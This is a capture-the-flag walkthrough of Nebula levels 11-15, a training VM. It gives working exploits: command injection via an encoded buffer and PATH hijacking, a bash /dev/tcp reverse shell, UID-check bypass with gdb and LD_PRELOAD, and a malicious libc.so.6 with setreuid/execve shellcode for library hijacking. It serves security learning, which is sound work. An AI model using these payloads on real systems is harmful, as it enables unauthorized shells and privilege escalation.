Exploit-Exercises: Nebula (11-15)
Image: Exploit-Exercises: Nebula (v5)
Level11
According to the assignment, there should be two ways how to exploit the source below.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
The fread(buf, length, 1, stdin)
always returns 1 as we can read in the unix manual:
fread() and fwrite() return the number of items successfully read or written (i.e., not the number of characters).
Here if(length < sizeof(buf)) {
we have two ways to progress. I suppose
having two solutions means calling process()
from the different parts of code.
The first way is setting “Content-Length: 1”. The buffer is XORed using the simple algorithm below, this time the ‘for’ cycle runs only once.
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
sh-4.2$ ruby -e 'print "Content-Length: 1\nA"' | /home/flag11/flag11
sh: @: command not found
sh-4.2$ ruby -e 'print "Content-Length: 1\n" + ("A".ord ^ 0x01).chr' | /home/flag11/flag11
sh: $'A\300Q': command not found
sh-4.2$ ruby -e 'print "Content-Length: 1\n" + ("A".ord ^ 0x01).chr' | /home/flag11/flag11
sh: -c: line 0: unexpected EOF while looking for matching ``'
sh: -c: line 1: syntax error: unexpected end of file
sh-4.2$ ruby -e 'print "Content-Length: 1\n" + ("A".ord ^ 0x01).chr' | /home/flag11/flag11
sh: A: command not found
Because the buffer with ‘A’ character is not NULL terminated and contains uninitialized data, we use the technique described here Controlling uninitialized memory with LD_PRELOAD to have more luck with terminating ‘A’.
sh-4.2$ ln -sf /bin/getflag /tmp/A
sh-4.2$ export PATH=/tmp:$PATH
sh-4.2$ export LD_PRELOAD=$(ruby -e 'print "\n" * 50')
sh-4.2$ ruby -e 'print "Content-Length: 1\n" + ("A".ord ^ 0x01).chr' | /home/flag11/flag11
getflag is executing on a non-flag account, this doesn't count
The getflag runs, albeit there is a bug in the binary, because the new process
is created using system()
, so it wasn’t possible to get flag11 privileges.
man 3 system
Do not use system() from a program with set-user-ID or set-group-ID privileges,
because strange values for some environment variables might be used to subvert
system integrity. Use the exec(3) family of functions instead, but not
execlp(3) or execvp(3). system() will not, in fact, work properly from
programs with set-user-ID or set-group-ID privileges on systems on which
/bin/sh is bash version 2, since bash 2 drops privileges on startup. (Debian
uses a modified bash which does not do this when invoked as sh.)
The second way is to use input with the length at least 1024. The decryption
routine is almost symmetric. However, in this step key -= buffer[i];
we need
to substract from key the original value, so we XOR it with the key again.
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
unsigned int key;
int i, length = 1024;
char buffer[1024] = {0};
char cmd[] = "/bin/getflag";
int cmd_length = strlen(cmd);
memcpy(buffer, cmd, cmd_length);
key = length & 0xff;
for (i = 0; i <= cmd_length; i++) {
buffer[i] ^= key;
key -= buffer[i] ^ key;
}
fprintf(stdout, "Content-Length: 1024\n");
fwrite(buffer, 1, length, stdout);
return 0;
}
sh-4.2$ export TEMP=/tmp
sh-4.2$ ./exploit11 | /home/flag11/flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count
Level12
The code below should be backdoored:
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
With io.popen
we can invoke arbitrary command using several techniques. We
use command substitution and two screens to gain reverse shell using bash:
Window1:
sh-4.2$ nc -l 1337
Window2:
sh-4.2$ nc 0 50001
Password: $(bash -i >& /dev/tcp/0.0.0.0/1337 0>&1)
Window1:
bash: no job control in this shell
flag12@nebula:/$ id
id
uid=987(flag12) gid=987(flag12) groups=987(flag12)
flag12@nebula:/$ getflag
getflag
You have successfully executed getflag on a target account
Level13
The vulnerable program checks if the user does match the specific user id.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
level13@nebula:/home/flag13$ objdump -M intel flag13 -d | grep 0x3e8
80484f4: 3d e8 03 00 00 cmp eax,0x3e8
8048505: c7 44 24 08 e8 03 00 mov DWORD PTR [esp+0x8],0x3e8
Because we know where the value 0x3e8 = 1000 is used to compare with eax, now we need only to tamper this value:
level13@nebula:/home/flag13$ gdb ./flag13 -q
Reading symbols from /home/flag13/flag13...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) b *0x80484f4
Breakpoint 1 at 0x80484f4
(gdb) r
Starting program: /home/flag13/flag13
Breakpoint 1, 0x080484f4 in main ()
(gdb) i r eax
eax 0x3f6 1014
(gdb) set $eax = 1000
(gdb) i r eax
eax 0x3e8 1000
(gdb) c
Continuing.
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
level13@nebula:/home/flag13$ su flag13
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
As another solution we use the PRELOAD library. We use the copy of flag13, because the restriction with invoking preload with suid binaries.
level13@nebula:/tmp$ cat fakeuid.c
#include <sys/types.h>
uid_t getuid(void) { return 1000; }
level13@nebula:/tmp$ gcc -shared -fPIC fakeuid.c -o fakeuid.so
level13@nebula:/tmp$ cp /home/flag13/flag13 .
level13@nebula:/tmp$ LD_PRELOAD=./fakeuid.so ./flag13
your token is b705702b-76a8-42b0-8844-3adabbe5ac58
Level14
The encryption process is trivial, on each byte position, the /home/flag14/flag14 add the position index to the ascii value of the character, started by 0, see:
level14@nebula:/home/flag14$ ruby -e 'print "\x01\x02\x03\x04"' | ./flag14 -e | hexdump -C
00000000 01 03 05 07 |....|
00000004
level14@nebula:/home/flag14$ ruby -e 'print "\xff\xff\xff\xff"' | ./flag14 -e | hexdump -C
00000000 ff 00 01 02 |....|
00000004
Now we use the reverse process to decrypt the token:
level14@nebula:/home/flag14$ ruby -pe 'puts $_[0..-3].force_encoding("iso-8859-1").split(//).each_with_index.map {|x,i| (x.ord-i).chr}.join' < token
8457c118-887c-4e40-a5a6-33a25353165
857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
level14@nebula:/home/flag14$ su flag14
Password:
sh-4.2$ getflag
You have successfully executed getflag on a target account
Level15
From strace output we can see that the binary is trying to link shared library from /var/tmp/flag15
directory:
level15@nebula:/tmp$ strace -f /home/flag15/flag15
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 21 vars */]) = 0
brk(0) = 0x8b1f000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb784c000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", 0xbf8a8bb4) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7843000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x110000
mmap2(0x286000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0x286000
mmap2(0x289000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x289000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7842000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78428d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x286000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0x46b000, 4096, PROT_READ) = 0
munmap(0xb7843000, 33815) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb784b000
write(1, "strace it!\n", 11strace it!
) = 11
exit_group(11) = ?
We try to provide this library (in /var/tmp/flag15/libc.so.6
):
level15@nebula:/tmp$ cat libc.so.6.c
void f(void *a) {}
level15@nebula:/tmp$ mkdir /var/tmp/flag15
level15@nebula:/tmp$ gcc -shared libc.so.6.c -o /var/tmp/flag15/libc.so.6
level15@nebula:/tmp$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference
There is an error, because we are linking using GLIBC_2.1.3, but in the binary, there are two symbols with GLIBC_2.0 undefined:
level15@nebula:/tmp$ nm /home/flag15/flag15 | grep ".*U"
U __libc_start_main@@GLIBC_2.0
U puts@@GLIBC_2.0
We provide version script to the linker, link statically and try the same thing again.
GLIBC_2.0 {};
// libc.so.6.c
#include <stdio.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
setreuid(geteuid(),geteuid());
execve("/bin/sh", NULL, NULL);
return 0;
}
level15@nebula:/tmp$ gcc -shared -static-libgcc -Wl,--version-script=version.map,-Bstatic libc.so.6.c -o /var/tmp/flag15/libc.so.6
level15@nebula:/tmp$ /home/flag15/flag15
flag15@nebula:/tmp$ getflag
You have successfully executed getflag on a target account
The second way how to solve the challenge is without linking libc, writing assembler code. For this purpose we used nasm assembler, everything needed for the compilation process was already on the nebula iso.
level15@nebula:/tmp$ wget -q http://www.nasm.us/pub/nasm/releasebuilds/2.11.08/nasm-2.11.08.tar.gz
level15@nebula:/tmp$ tar xzf nasm-2.11.08.tar.gz
level15@nebula:/tmp$ cd nasm-2.11.08/
level15@nebula:/tmp/nasm-2.11.08$ ./configure && make ; cd ..
; shell.asm
section .data
cmd db '/bin/sh',0x0
section .text
global shell
shell:
;setreuid(geteuid(),geteuid());
mov eax, 49
int 0x80
mov ebx, eax
mov ecx, eax
mov eax, 70
int 0x80
;execve("/bin/sh", {"/bin/sh", NULL}, NULL)
mov eax, 11
lea ebx, [cmd]
mov ecx, 0
push ecx
push ebx
mov ecx, esp
mov edx, 0
int 0x80
// run-shell.c
void shell(void);
void __attribute__((constructor)) init()
{
shell();
}
level15@nebula:/tmp$ /tmp/nasm-2.11.08/nasm -f elf shell.asm
level15@nebula:/tmp$ gcc -shared -nostdlib run-shell.c shell.o -o /var/tmp/flag15/libc.so.6
level15@nebula:/tmp$ /home/flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
sh-4.2$ getflag
You have successfully executed getflag on a target account